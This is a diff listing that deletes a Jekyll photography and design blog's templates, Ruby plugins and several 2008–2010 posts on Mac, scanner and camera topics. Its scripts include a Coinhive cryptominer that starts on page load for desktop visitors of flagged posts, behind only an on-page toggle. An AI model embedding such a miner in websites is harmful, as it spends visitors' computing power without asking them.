<use xlink:href="/assets/img/sprite.svg#chevron-left"></use>
</svg>
</a>
{% endif %}
<a
{% if paginator.page == 1 %}
href="#" class="paginator__link active"
{% else %}
href="/" class="paginator__link"
{% endif %}
>1</a>
{% for count in (2..paginator.total_pages) %}
{% if count == paginator.page %}
<a href="#" class="paginator__link active">{{count}}</a>
{% else %}
<a class="paginator__link" href="/page/{{count}}">{{count}}</a>
{% endif %}
{% endfor %}
{% if paginator.next_page %}
<a class="paginator__link" href="/page/{{paginator.next_page}}">
<svg class="icon icon-chevron-right">
<use xlink:href="/assets/img/sprite.svg#chevron-right"></use>
</svg>
</a>
{% endif %}
</nav>
{% endif %}

7
_src/_includes/photos.html
View File

@ -1,7 +0,0 @@
<article class="grid__col">
<a class="photo-link" href="{{ post.url }}" title="{{ post.title }}">
{% include picture.html size='photothumb' %}
</a>
</article>

27
_src/_includes/picture.html
View File

@ -1,27 +0,0 @@
{% case include.size %}
{% when 'phototeaser' %}
{% assign pictureSize = 'w_940,h_700,c_fill,q_auto:good,f_auto' %}
{% assign pictureSizeRetina = 'w_1880,h_1400,c_fill,q_auto:good,f_auto' %}
{% when 'photothumb' %}
{% assign pictureSize = 'w_190,h_190,c_thumb,q_auto:good,f_auto' %}
{% assign pictureSizeRetina = 'w_380,h_380,c_thumb,q_auto:good,f_auto' %}
{% when 'featured' %}
{% assign pictureSize = 'w_275,h_100,c_fill,q_auto:good,f_auto' %}
{% assign pictureSizeRetina = 'w_550,h_200,c_fill,q_auto:good,f_auto' %}
{% else %}
{% assign pictureSize = 'w_940,f_auto,fl_keep_iptc' %}
{% assign pictureSizeRetina = 'w_1880,f_auto,fl_keep_iptc' %}
{% endcase %}
{% if include.file %}
{% assign pictureSrc = include.file %}
{% else %}
{% if page.image %}
{% assign pictureSrc = page.image %}
{% else %}
{% assign pictureSrc = post.image %}
{% endif %}
{% endif %}
<img src="{{ site.media_url }}/{{ pictureSize }}/media/{{ pictureSrc }}" srcset="{{ site.media_url }}/{{ pictureSize }}/media/{{ pictureSrc }} 1x, {{ site.media_url }}/{{ pictureSizeRetina }}/media/{{ pictureSrc }} 2x" alt="{{ post.title }}">

17
_src/_includes/relatedphotos.html
View File

@ -1,17 +0,0 @@
<aside class="related-photos">
<div class="grid grid--gutters grid--half grid-medium--third">
{% for post in site.categories['photos'] limit:9 %}
<article class="related-photo grid__col">
<a class="photo-link" href="{{ post.url }}">
{% include picture.html size='photothumb' file=post.image %}
</a>
</article>
{% endfor %}
</div>
</aside>

24
_src/_includes/relatedposts.html
View File

@ -1,24 +0,0 @@
{% if site.related_posts.size > 1 %}
<aside class="related-posts">
<h1 class="related-posts-title">Related</h1>
<div class="grid grid--gutters grid--full grid-small--half grid-medium--third">
{% for post in site.related_posts limit:6 %}
<article class="related-post grid__col">
<a class="post-title-link" href="{{ post.url }}">
{% if post.image %}
{% include picture.html size='photothumb' file=post.image %}
{% endif %}
<h1 class="post-title">{{ post.title | titlecase }}</h1>
</a>
</article>
{% endfor %}
</div>
</aside>
{% endif %}

111
_src/_includes/scripts.html
View File

@ -1,111 +0,0 @@
<script src="/assets/js/kremalicious3.min.js" async></script>
{% if page.js %}
<script src="/assets/js/{{ page.js }}" async></script>
{% elsif layout.js %}
<script src="/assets/js/{{ layout.js }}" async></script>
{% endif %}
{% if page.coinhive %}
<div class="coinhive hide">
<div class="coinhive__info">Mining <a class="coinhive__toggle" href="#" title="Toggle mining">enabled</a></div>
<div class="coinhive__hashrate">0 Hashes/s</div>
</div>
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
if (typeof CoinHive !== 'undefined') {
const miner = new CoinHive.Anonymous('45EnDz1yUgdjmV9yX31UgamUy9ZjzIyt')
const ui = document.querySelector('.coinhive')
const toggle = document.querySelector('.coinhive__toggle')
if (!miner.isMobile()) {
miner.start()
ui.classList.remove('hide')
setInterval(function () {
const hashesPerSecond = miner.getHashesPerSecond()
document.querySelector('.coinhive__hashrate').innerHTML = hashesPerSecond.toFixed(0) + ' Hashes/s'
}, 1000)
}
toggle.addEventListener('click', function(e) {
e.preventDefault()
if (miner.isRunning()) {
miner.stop()
e.target.innerHTML = 'disabled'
} else {
miner.start()
e.target.innerHTML = 'enabled'
}
}, false)
}
</script>
{% endif %}
{% if jekyll.environment == "production" %}
<script>
var _paq = _paq || [];
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);
(function(dnt) {
if (dnt !== "yes" && dnt !== "1") {
var u="//analytics.kremalicious.com/";
_paq.push(['setTrackerUrl', u+'piwik.php']);
_paq.push(['setSiteId', 1]);
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);
}
}(navigator.doNotTrack || window.doNotTrack || navigator.msDoNotTrack || null));
</script>
<noscript><p><img src="//analytics.kremalicious.com/piwik.php?idsite=1" style="border:0;" alt="" /></p></noscript>
{% endif %}
<script>
(function(window, dnt) {
if (dnt !== "yes" && dnt !== "1") {
// Google Analytics async snippet
// http://goo.gl/3FPNDx
window.ga=window.ga||function(){(ga.q=ga.q||[]).push(arguments)};
ga.l=+new Date;
// Create the GA tracker
ga('create', 'UA-1441794-2', 'auto', {siteSpeedSampleRate: 10});
{% if jekyll.environment != 'production' %}
// In non-production mode, simply log GA hits to the console.
// Note, tasks must be set before sending the first hit
ga(function(tracker) {
tracker.set('sendHitTask', function() {
// Throw to stop subsequent tasks.
throw 'Abort tracking in non-production environments.'
});
});
{% endif %}
// Send initial pageview
ga('send', 'pageview');
// Track uncaught errors
window.onerror = function(message, url, line, col) {
var desc = message + ' (line: ' + line + ', url: ' + url + ', col: '
+ col + ')';
ga('send', 'exception', {
exDescription: 'window.onerror: ' + desc,
exFatal: false
});
};
}
}(window, navigator.doNotTrack || window.doNotTrack || navigator.msDoNotTrack || null));
</script>
{% if jekyll.environment == "production" %}
<script async src="//www.google-analytics.com/analytics.js"></script>
{% else %}
<script async src="//www.google-analytics.com/analytics_debug.js"></script>
{% endif%}
<script src="/assets/js/analytics.min.js" async></script>

26
_src/_includes/twittercards.html
View File

@ -1,26 +0,0 @@
{% if page.category == "photos" %}
<meta name="twitter:card" content="photo">
{% else %}
<meta name="twitter:card" content="summary">
{% endif %}
<meta name="twitter:site" content="@kremaliciouscom">
<meta name="twitter:creator" content="@kremalicious">
{% if page.title %}
<meta name="twitter:title" content="{{ page.title }}">
{% else %}
<meta name="twitter:title" content="{{ site.title }}">
{% endif %}
{% if page.url %}
<meta name="twitter:url" content="{{ site.url}}{{ page.url | replace:'index.html','' }}">
{% endif %}
{% if page.description %}
<meta name="twitter:description" content="{{ page.description }}">
{% else %}
<meta name="twitter:description" content="{{ page.excerpt | strip_html }}">
{% endif %}
{% if page.image %}
<meta name="twitter:image:src" content="{{ site.media_url }}/w_940/media/{{ post.image }}">
{% else %}
<meta name="twitter:image:src" content="{{ site.url }}/assets/img/kremalicious1024.png">
{% endif %}

29
_src/_layouts/archive.html
View File

@ -1,29 +0,0 @@
---
layout: base
---
<section role="main" id="main">
{% if page.type == 'category' %}
<h1 class="page-title">{{ page.title }}</h1>
{% elsif page.type == 'tag' %}
<h1 class="page-title"><span class="hash">#</span>{{ page.title }}</h1>
{% else %}
<h1 class="page-title">{{ page.type }} archive for {{ page.title }}</h1>
{% endif %}
{% if page.path contains "photos" %}<div class="grid grid--gutters grid--half grid-medium--third">{% endif %}
{% for post in page.posts %}
{% if post.layout == "photo" %}
{% include photos.html %}
{% else %}
{% include articles.html %}
{% endif %}
{% endfor %}
{% if page.path contains "photos" %}</div>{% endif %}
</section>
{% include paginator.html %}

20
_src/_layouts/base.html
View File

@ -1,20 +0,0 @@
{% include head.html %}
{% capture id %}{{ page.url | replace:'/','-' | replace_first:'-','' | replace:'.html','' | replace:'-index','' }}{% endcapture %}
<body class="page-{{ id | remove:'-' }} site">
{% include header.html %}
<section role="document" class="site__document">
<div class="site__content">
<div class="container">
{{ content }}
</div>
</div>
</section>
</body>
{% include footer.html %}

40
_src/_layouts/link.html
View File

@ -1,40 +0,0 @@
---
layout: base
---
<section role="main" id="main" class="page-single">
<article class="hentry format-link">
<header>
<h1 class="entry-title">
<a href="{{ page.linkurl }}" title="Go to source: {{ page.linkurl | remove:'http://' | remove:'https://' | remove:'www.' }}">
{{ page.title | titlecase }}
<svg class="icon icon-forward">
<use xlink:href="/assets/img/sprite.svg#forward"></use>
</svg>
<span class="linkurl">{{ page.linkurl | remove:'http://' | remove:'https://' | remove:'www.' | split:'/' | first }}</span>
</a>
</h1>
</header>
<section class="entry-content">
{{ content }}
<p>
<a class="more-link" href="{{ page.linkurl }}">Go to source
<svg class="icon icon-forward">
<use xlink:href="/assets/img/sprite.svg#forward"></use>
</svg>
</a>
<a class="permalink-link" href="{{ page.url }}" rel="tooltip" title="Permalink">
<svg class="icon icon-infinity">
<use xlink:href="/assets/img/sprite.svg#infinity"></use>
</svg>
</a>
</p>
</section>
{% include entry_meta.html %}
</article>
</section>

22
_src/_layouts/page.html
View File

@ -1,22 +0,0 @@
---
layout: base
---
<section role="main" id="main" class="page-single">
<article class="hentry format-page">
<header>
<h1 class="entry-title">{{ page.title | titlecase }}</h1>
</header>
<section class="entry-content">
{% if page.image %}
{% include picture.html %}
{% endif %}
{{ content }}
</section>
</article>
</section>

41
_src/_layouts/photo.html
View File

@ -1,41 +0,0 @@
---
layout: base
js: photos.min.js
---
<section role="main" id="main" class="page-single">
<article class="hentry format-photo">
<header>
<h1 class="entry-title fn">{{ page.title | titlecase }}</h1>
</header>
<figure class="hentry__teaser hmedia">
{% include picture.html %}
<aside class="exif">
<div class="container">
<span class="exif__model" title="Camera model"></span>
<span class="exif__aperture" title="Aperture"></span>
<span class="exif__shutterspeed" title="Shutter speed"></span>
<span class="exif__exposure" title="Exposure"></span>
<span class="exif__iso" title="ISO"></span>
<span class="exif__focallength" title="Focal length"></span>
</div>
</aside>
</figure>
<section class="entry-content">
{{ content }}
</section>
{% include entry_meta.html %}
{% include relatedphotos.html %}
</article>
</section>

33
_src/_layouts/post.html
View File

@ -1,33 +0,0 @@
---
layout: base
---
<section role="main" id="main" class="page-single">
<article class="hentry format-post">
<header class="entry-header">
<h1 class="entry-title">{{ page.title | titlecase }}</h1>
<div class="entry-lead">
{{ page.excerpt }}
</div>
</header>
<section class="entry-content">
{% if page.image %}
<figure class="hentry__teaser">
{% include picture.html %}
</figure>
{% endif %}
{{ content | remove: page.excerpt }}
</section>
{% include actions.html %}
{% include entry_meta.html %}
{% include relatedposts.html %}
</article>
</section>

96
_src/_plugins/octopress_filters.rb
View File

@ -1,96 +0,0 @@
#custom filters for Octopress
module OctopressLiquidFilters
# Used on the blog index to split posts on the <!--more--> marker
def excerpt(input)
if input.index(/<!--\s*more\s*-->/i)
input.split(/<!--\s*more\s*-->/i)[0]
else
input
end
end
# Checks for excerpts (helpful for template conditionals)
def has_excerpt(input)
input =~ /<!--\s*more\s*-->/i ? true : false
end
# Summary is used on the Archive pages to return the first block of content from a post.
def summary(input)
if input.index(/\n\n/)
input.split(/\n\n/)[0]
else
input
end
end
# Extracts raw content DIV from template, used for page description as {{ content }}
# contains complete sub-template code on main page level
def raw_content(input)
/<div class="entry-content">(?<content>[\s\S]*?)<\/div>\s*<(footer|\/article)>/ =~ input
return (content.nil?) ? input : content
end
# Escapes CDATA sections in post content
def cdata_escape(input)
input.gsub(/<!\[CDATA\[/, '&lt;![CDATA[').gsub(/\]\]>/, ']]&gt;')
end
# Replaces relative urls with full urls
def expand_urls(input, url='')
url ||= '/'
input.gsub /(\s+(href|src)\s*=\s*["|']{1})(\/[^\"'>]*)/ do
$1+url+$3
end
end
# Improved version of Liquid's truncate:
# - Doesn't cut in the middle of a word.
# - Uses typographically correct ellipsis (…) insted of '...'
def truncate(input, length)
if input.length > length && input[0..(length-1)] =~ /(.+)\b.+$/im
$1.strip + ' &hellip;'
else
input
end
end
# Improved version of Liquid's truncatewords:
# - Uses typographically correct ellipsis (…) insted of '...'
def truncatewords(input, length)
truncate = input.split(' ')
if truncate.length > length
truncate[0..length-1].join(' ').strip + ' &hellip;'
else
input
end
end
# Condenses multiple spaces and tabs into a single space
def condense_spaces(input)
input.gsub(/\s{2,}/, ' ')
end
# Removes trailing forward slash from a string for easily appending url segments
def strip_slash(input)
if input =~ /(.+)\/$|^\/$/
input = $1
end
input
end
# Returns a url without the protocol (http://)
def shorthand_url(input)
input.gsub /(https?:\/\/)(\S+)/ do
$2
end
end
# Returns a title cased string based on John Gruber's title case http://daringfireball.net/2008/08/title_case_update
def titlecase(input)
input.titlecase
end
end
Liquid::Template.register_filter OctopressLiquidFilters

36
_src/_plugins/titlecase.rb
View File

@ -1,36 +0,0 @@
class String
def titlecase
small_words = %w(a an and as at but by en for if in of on or the to v v. via vs vs. ezeep)
x = split(" ").map do |word|
# note: word could contain non-word characters!
# downcase all small_words, capitalize the rest
small_words.include?(word.gsub(/\W/, "").downcase) ? word.downcase! : word.smart_capitalize!
word
end
# capitalize first and last words
x.first.to_s.smart_capitalize!
x.last.to_s.smart_capitalize!
# small words are capitalized after colon, period, exclamation mark, question mark
x.join(" ").gsub(/(:|\.|!|\?)\s?(\W*#{small_words.join("|")}\W*)\s/) { "#{$1} #{$2.smart_capitalize} " }
end
def titlecase!
replace(titlecase)
end
def smart_capitalize
# ignore any leading crazy characters and capitalize the first real character
if self =~ /^['"\(\[']*([a-z])/
i = index($1)
x = self[i,self.length]
# word with capitals and periods mid-word are left alone
self[i,1] = self[i,1].upcase unless x =~ /[A-Z]/ or x =~ /\.\w+/
end
self
end
def smart_capitalize!
replace(smart_capitalize)
end
end

47
_src/_posts/2008-04-09-changing-the-image-icons-in-mac-os-x-leopard.md
View File

@ -1,47 +0,0 @@
---
layout: post
title: 'HowTo: Changing the image icons in Mac OS X Leopard'
author: Matthias Kretschmann
date: 2008-04-09 13:13:42+00:00
wordpress_id: 32
category: design
coinhive: true
tags:
- tutorial
- osx
- macos
- icon
---
[![Aperture File Types](/media/aperturefiletypes.png)](/media/aperturefiletypes.png)After i released my [Aperture File Types icon set](http://www.kremalicious.com/goodies) many of you asked how they can really use these icons for displaying the icons of images on your Mac system. Sadly this isn't as easy as dropping them in [Candybar](http://www.panic.com/candybar) into a well for image icons cause there isn't any well for them. So using other icons as standard file type icons for images is a bit tricky. I discovered two ways of doing it, which involves overwriting resources of Preview.app and Photoshop. So before doing anything I mention in this post, you should make a backup copy of them.
## Changing Preview.app icons
[![Open with Preview](/media/openwithpreview.png)](/media/openwithpreview.png)Image icons in Mac OS X doesn't really belong to the system icons. Instead they come from [Preview.app](http://www.apple.com/macosx/features/300.html%23preview) which is the factory default application for viewing images on Mac OS X.
And since Preview.app is used to show the icons we can find all file type icons for images in Preview.app > Contents > Resources. You get there by right clicking on Preview in your Applications folder and choosing Show Package Contents from the context menu. There you'll find icons in icns-format for bmp, dng, eps, fax, fpx, gif, icns, ico,jp2, jpeg, openexr, pdf, pict, png, pntg, ps, psd, qtif, radiance, raw, sgi, tga, tiff, xbm.
You can just rename the desired icons from my icon pack in icns-format and replace them in the contents > resources of Preview.app.
![path Preview](/media/pathpreview.png)
But, as you can see, Preview doesn’t have an unique icon for all RAW file types. Instead it uses just a generic RAW-icon named RAW.icns.
[![RAW](/media/raw.png)](/media/raw.png)So here’s what you can do: Grab your desired RAW-file icon from my icon package in icns-format. Rename it as RAW.icns. Copy it over to Preview.app > Contents > Resources and overwrite the standard icon. Making a backup copy of Preview.app before doing that is a wise thing here.
The problem is that from now on every RAW-file is represented by this icon, which is ok if you just use one RAW-format. But it's a problem if you use more than one RAW format.
## Changing the file type icons of Photoshop
[![Photoshop CR2](/media/PS_CR2FileIcon.png)](/media/PS_CR2FileIcon.png)A solution to this mess is Photoshop. So this solution just works if you have Photoshop installed. Photoshop does have a unique icon for every RAW-format out there. To confirm that you can choose Adobe Photoshop as Standard Application in the Get Info window and the icon of the file should change instantly.
So here's the trick: The icons from Photoshop are stored in Adobe Photoshop CS3.app > Contents > Resources. the icon e.g. for .cr2-icons is named PS_CR2FileIcon.icns. Just rename the icons in my pack in the naming scheme used in the Photoshop Resources and replace them.
![Path Photoshop](/media/pathphotoshop.png)
Hope this helps you although it's very tricky. But changing icons for images in Mac OS X is a bit out of my control since i don't develop Mac OS X.
By the way, this should also work in Tiger...

17
_src/_posts/2008-04-22-apple-releases-sdk-for-aperture-21.md
View File

@ -1,17 +0,0 @@
---
layout: post
title: Apple releases plugin-SDK for Aperture 2.1
author: Matthias Kretschmann
date: 2008-04-22 05:58:41+00:00
wordpress_id: 42
categories:
- photography
tags:
- aperture
---
![Aperture](/media/aperture97.png)Just right after [Tiffen and Digital Film Tools announced](http://www.kremalicious.com/2008/04/first-aperture-adjustment-plugins-have-arrived/) their new image editing plugins for Aperture 2.1 Apple has released the Software Development Kit (SDK) for coding Aperture 2.1 plugins. It's available [from Apple's Developer Connection](https://connect.apple.com/cgi-bin/WebObjects/MemberSite.woa/wa/getSoftware?bundleID=20044) for registered members (registering is free). You can grab the Aperture 2.1 plugin-SDK (3D9) as a 595KB download from there and start coding. If you want to know what exactly you can do with it as a programmer you should [read those lines from Apple](http://developer.apple.com/appleapplications/aperturesdk.html).
So it should be just a matter of time before we see another bunch of plugins popping out.

68
_src/_posts/2008-05-04-using-the-canoscan-lide-500f-with-mac-os-x-leopard.md
View File

@ -1,68 +0,0 @@
---
layout: post
title: Using the CanoScan LiDE 500F scanner with Mac OS X Leopard
author: Matthias Kretschmann
date: 2008-05-04 16:04:48+00:00
wordpress_id: 45
category: photography
coinhive: true
tags:
- tutorial
- osx
- macos
---
![Canon CanoScan LiDE 500F](/media/canoscanlide500f.jpg)A while ago I [wrote about my problems](http://www.kremalicious.com/2007/06/finally-a-universal-scanner-driver-for-the-canon-canoscan-lide-500f-for-intel-macs/) finding a universal scanner driver from Canon for my CanoScan LiDE 500F to use it under Mac OS X. The solution was the Canon Asia website where a universal driver version was available. But since then Apple released Mac OS X 10.5 Leopard in october 2007 and the Canon driver with the version 11.2.4.0X stopped working on this new operating system.
# Finding and downloading the new driver 11.2.5.0X
But there's a new driver available. It was posted on the Canon USA website on 7 December 2007 and on the Canon Asia website on 28 January 2008. The new version number is 11.2.5.0X for Mac OS X and yes the driver remains a universal scanner driver running fine on both PowerPC- and Intel-Macs.
The changelog says:
> Newly supports Mac OS X v10.5.
> ScanGear Starter is removed. (Because the operation problem occurs when the destination to save the scan file is changed in Mac OS X v10.5.)
So this sounds just right. You can download the new universal scanner driver from [Canon USA](http://www.usa.canon.com/consumer/controller?act=ModelInfoAct&tabact=SupportDetailTabAct&fcategoryid=235&modelid=11011#DownloadDetailAct) or [Canon Asia](http://support-asia.canon-asia.com/contents/ASIA/EN/0900321901.html). Following these links takes you right to the driver download page for this scanner.
[![Driver package contents](/media/canondrivercontents.png)](/media/canondrivercontents.png)You will get a file named lide500fosx11250en.dmg in your downloads folder. Just mount it and double click the package installer inside of the image. If you have a previous version of the driver installed you should remove all parts of it from the system and make a restart to avoid any problems. You can follow my screenshot on the right which shows the contents of the installer package to find all components on your system.
After the installation is finished you have to restart your Mac (very Mac-unlike) because the package installed a new Kernel extention.
After a restart you should be able to use the scanner as a TWAIN device all over the system.
# Using the scanner in Mac OS X Leopard
## Preview / Image Capture
[![Scan window Preview](/media/scanwindow_preview.png)](/media/scanwindow_preview.png)Leopard included a new version of Preview, the pdf and image-viewing application by Apple and also a new version of Image Capture. To use it with your scanner just plug in the scanner, open Preview and choose File > Import Image or just open the Image Capture application. A new scan window should open doing an automatic overview scan. In the scan window you have some minor options like resolution, scaling etc. You can even make simple but powerful image corrections down at the bottom (set it to manual).
But the best thing with the new Image Capture is the feature of setting the bit depth of the scanner to 16 bits. This was just possible before through the Canon software ScanGear in Photoshop.
## Scanning right into Apple Aperture?
[![Aperture Scanning](/media/aperturescan.png)](/media/aperturescan.png) Wouldn't that be great? Although the scanner is shown as a source in the import dialogue you can't import images with it directly from Aperture. Maybe someone will code a generic scanning plugin for Aperture like VueScan for Aperture or something like that. But I guess this is something just Canon is able to do that and they won't.
But using Preview/Image Capture and Automator you can bypass this limitation. If you want to know how you can do that have a look at my article [Scan images directly into Apple Aperture](http://www.kremalicious.com/2008/05/scan-images-directly-into-apple-aperture/).
## Adobe Photoshop CS3
[![ScanGear Scan Window](/media/scangearwindow.png)](/media/scangearwindow.png)Just like with Creative Suite 2 you can use Photoshop to import images with your Scanner by using the Canon ScanGear software which indeed is just the scan window in Photoshop. Just chose File > Import > CanoScan LiDE 500F in Photoshop. If you have installed the driver for the first time the scan window in Photoshop defaults to Simple Mode. But if you want it simple you better chose a Preview/Image Capture workflow. So in Photoshop you should head over to Advanced Mode and check the preferences button down at the bottom first.
[![ScanGear Color Settings](/media/scangear_color.png)](/media/scangear_color.png)Under the Color Settings tab you should set your preferred color management options.
Under the Scan tab you should enable 48/16 bit Output to enable scanning your images with a depth of 16 bit just like the RAW images from your dslr or digital camera. Click OK to save your preferences.
Another task you should do before scanning the first time with this driver is calibrating your scanner. You can find it in the image settings section where you'll have to click on the double triangle to reveal the options for calibrating. Just click Calibrate and wait until it's finished.
Now you can set your scanning preferences and start scanning into Photoshop. Don't forget to chose Color(48Bit) in the Color Mode dropdown menu for 16 bit scanning.
![Color Mode](/media/scangear48bit.png)
The advantage of this last workflow with Photoshop and ScanGear is more control over the scanner and therefore more control of the way your images will look right after the scan. If you want simplicity do it the OSX way by using Preview/Image Capture and simply automate it with Automator to serve your scanned images to your preferred application.

38
_src/_posts/2008-05-05-scan-images-directly-into-apple-aperture.md
View File

@ -1,38 +0,0 @@
---
layout: post
title: Scan images directly into Apple Aperture
author: Matthias Kretschmann
date: 2008-05-05 04:15:11+00:00
wordpress_id: 46
category: photography
coinhive: true
tags:
- aperture
- tutorial
- osx
- macos
---
![Aperture Scanning](/media/aperturescan.png)Wouldn't that be great? Hook up your scanner, fire up Aperture, click on Import and the images coming directly from your scanner plate? Although my scanner is shown as a source in the import dialogue you can't import images with it directly from Aperture. But using Preview/Image Capture and Automator you can bypass this limitation. So here's what you can do to scan directly into Aperture in 3 simple steps.
In the Image Capture scan window you can define an automatic task which will follow the scan process. It defaults to Preview meaning that the scanned image will open as a new Preview document after the scan. But we can make the images import to Aperture after the scan just with tools which are build into Mac OS X and come with every Mac (besides Aperture).
# 1. Make an Automator action
![Automator](/media/automator.png)Open up Automator and click on the photos library item. Find the Aperture action "Import Photos" and drag and drop it on the workflow field. Then you can chose your desired project or a new project for the scanned images to appear. I have a project for all new images called @Review so I chose that one as my target project. You can set a referenced import or the deletion of your source images as well. If you want to chose the desired project or any of the other preferences every time you're scanning you have to activate "Show this action when the workflow runs" in the Options of this action.
To make it a bit cooler we can assign one or more keywords to our scanned images automatically. Just drag and drop the "Assign keywords to images" action and add a keyword like "Scan" or something like that. Finally we can set some usual IPTC-tags with the "Set IPTC Tags" action. In the end you should have something like this (click to zoom):
[![Aperture Import Workflow](/media/apertureimport_automator.png)](/media/apertureimport_automator.png)
# 2. Save it as a plug-in for Image Capture
[![Aperture Import Workflow2](/media/apertureimportplugin.png)](/media/apertureimportplugin.png)Now we're going to save the whole workflow we clicked together. But instead of saving it as a general workflow chose File > Save as Plug-in. Type in a name like "Import to Aperture" and chose Image Capture from the dropdown menu and click save. Now your workflow has become a freshly new plug-in of the Image Capture application. If you ever want to delete, edit or just backup your Image Capture Plugins you can find them in your user folder library under /Workflows/Applications/Image Capture.
# 3. Scanning and have fun
[![Aperture Import Workflow3](/media/apertureimport_automatic.png)](/media/apertureimport_automatic.png)Plug in your scanner and open up Image Capture. A new scan window should open with your connected scanner as source. Now we have to define our freshly created plug-in as a task which will run after the image was scanned. Just chose your freshly created workflow from the Automatic Task dropdown menu and there you have it. So after you hit the scan button our freshly created workflow will run after the scan.
Just be creative with Automator. You can set up a lot of workflows for every thinkable scanning task and you can even backup your scanned images before or after importing them to Aperture by copying them into a new burn folder or make an archive from them which also could be automatically saved to a web server and so on...

18
_src/_posts/2008-06-25-new-canon-stuff-xs-eos-1000-430ex-ii.md
View File

@ -1,18 +0,0 @@
---
layout: post
title: 'New Canon stuff: Digital Rebel XS/EOS 1000D/Kiss F And Speedlite 430EX II
announced'
author: Matthias Kretschmann
date: 2008-06-25 16:41:59+00:00
wordpress_id: 78
categories:
- photography
---
![Digital Rebel XS/EOS 1000D ](/media/canon1000d.png)After the latest Digital Photo Professional update (DPP 3.4.1.1) [revealed some evidence about an upcoming Canon EOS Rebel XS/1000D](http://www.bobatkins.com/photography/digital/canon_xs_1000D_dpp34.html), Canon finally introduced this new entry-level DSLR this month. The [EOS Digital Rebel XS/1000D/Kiss F](http://www.canon-europe.com/For_Home/Product_Finder/Cameras/Digital_SLR/EOS_1000D/index.asp) ([full product specifications](http://www.canon-europe.com/For_Home/Product_Finder/Cameras/Digital_SLR/EOS_1000D/index.asp?specs=1)) is technically a hybrid between hardware and features found in Canon's entry-level cameras from the past: the 7-point autofocus system comes from the XT/350D, the Digic III processor is the same as in the XSi/450D and the Live View feature is implemented with the same features as found in the XSi/450D.
With this DSLR Canon seems to open up a new class in their EOS system which is somehow below the former entry level cameras (XT/350D, XTi/400D) and the latest entry-level XSi/450D. It's priced 200$ below Canons current or former entry-level DSLR XSi/450D and you can find a nice first review of this new DSLR [over at Digital Photography Review](http://www.dpreview.com/previews/Canon_1000D/).
[![Speedlite 430EX II](/media/speedlite430exii.jpg)](/media/speedlite430exii.jpg)Canon also introduced the new midrange Speedlite 430EX II, replacing the 430EX flash unit. This new Speedlite is now fully configurable with the Camera's LCD menu and it got now a metal shoe. According to [Canon](http://www.canon.co.uk/press_centre/press_releases/cameras_accessories/speedlite_430ex_ii_press_release.asp) the 430EX II also boasts 20% faster recycling times and is more silent while doing this. In Europe and in the USA the Speedlite should be available from the end of July.

19
_src/_posts/2008-07-11-new-aperture-plug-in-nik-announces-silver-efex-pro.md
View File

@ -1,19 +0,0 @@
---
layout: post
title: 'New Aperture Plug-In: Nik announces Silver Efex Pro'
author: Matthias Kretschmann
date: 2008-07-11 19:13:16+00:00
wordpress_id: 86
categories:
- photography
tags:
- aperture
---
![image](/media/aperture-plugin128.png)Beside a new version of Color Efex Pro for Capture NX, Nik announced a brand new plug-in for Photoshop and Aperture. [Silver Efex Pro](http://www.niksoftware.com/silverefexpro/usa/entry.php) is a tool to create black & white images with the power and simplicity of the U-Point technology. You can easily fine tune portions of your black & white images. It's also capable of emulating film grain and 18 different types of film while also providing 20 one-click preset styles. But Silver Efex Pro is also capable of color toning the image.
[![Nik Silver Efex Pro UI](/media/nik_silverefex_thumb.png)](/media/nik_silverefex.png)
You can get a [15-day trial from Nik's website](http://www.niksoftware.com/site/cont_index.php?nav_top=367&cms_child=__demo&productId=262). It can be purchased through Nik's online store for US$199.95.

29
_src/_posts/2008-08-28-canon-eos-50d-new-lens-announced.md
View File

@ -1,29 +0,0 @@
---
layout: post
title: Canon EOS 50D And New Lens Officially Announced
author: Matthias Kretschmann
date: 2008-08-28 11:28:33+00:00
wordpress_id: 168
categories:
- photography
---
[![EOS 50D back](/media/eos_50D_front_thumb.png)](/media/eos_50D_front.png)The successor of the EOS 40D is (almost) here: Canon [officially announced](http://www.usa.canon.com/templatedata/pressrelease/20080826_eos50d.html) the Canon EOS 50D along with the new lens Canon EF-S 18-200/3.5-5.6IS. The EOS 50D and the new lens will be both available in October 2008, Canon says.
The EOS 50D comes with an CMOS APS-C sized sensor (crop factor 1.6) with 15.1 megapixels. Being Canons first DSLR with the new DIGIC 4 image processor the EOS 50D can burst 6.3 shots per second with improved image quality.
<!-- more -->
The "EOS Integrated Cleaning Systems" gets a new fluorine layer and now works in three steps to clean the sensor. With 35 metering zones and 9 cross type Autofocus zones the Autofocus specifications are the same as found in the EOS 40D.
[![EOS 50D back](/media/eos_50D_back_thumb.png)](/media/eos_50D_back.png)The basic ISO range goes from 100 - 3200 while those values can be "boosted" to ISO 6400 and 12800. The integrated noise reduction can be adjusted in four grades. The LCD display is now 3 inches big with 920,000 pixels (VGA) with a Live View Mode.
The EOS 50D is prized at US$1399 (1299€) for just the body and it will be available as a kit with the EF 28-135 3.5-5.6 IS USM for US$1599.
If you're interested in all the details and specifications have a look at [Bob Atkins article about the official announcement of the EOS 50D](http://www.bobatkins.com/photography/digital/canon_eos_50D.html).
[![EF-S 18-200/3.5-5.6 IS](/media/efs_18-200_thumb.png)](/media/efs_18-200.png)Along with the EOS 50D Canon announced the EF-S 18-200 3.5-5.6 IS as a new lens. The lens is intended for use with an APS-C sized sensor and insists of 16 elements (UD-glass and aspherical lenses) arranged in 12 groups. As the name says the EF-S 18-200 3.5-5.6 IS comes with an image stabilizer but somehow misses an USM ring motor which is quite strange for a lens of a prize of US$699 (599€).
All the specifications for this new lens are available in [an article by Bob Atkins](http://www.bobatkins.com/photography/reviews/canon_efs_18-200_is.html) too.

32
_src/_posts/2010-07-03-momcorp.md
View File

@ -1,32 +0,0 @@
---
layout: post
title: MomCorp Wallpaper
image: Teaser-MomCorp-Wall.png
download: momcorp_wall_by_kremalicious.zip
author: Matthias Kretschmann
date: 2010-07-03 17:12:53+00:00
wordpress_id: 1453
category: goodies
tags:
- wallpaper
- futurama
coinhive: true
---
The recent Futurama episode [Attack of the Killer App](http://en.wikipedia.org/wiki/Attack_of_the_Killer_App) mocked a phone and a company you probably all have heard of. I've made some wallpapers with the logo of MomCorp presented everywhere in this episode.
The wallpaper comes in four versions with two color variations and two text variations with Mom's favorite tagline. Here's an overview:
![MomCorp-Walls-Overview](/media/MomCorp-Walls-Overview.png)
## Download
You can grab the full zip-package with versions for Desktop, iPad, iPhone & Android included:
<p class="content-download">
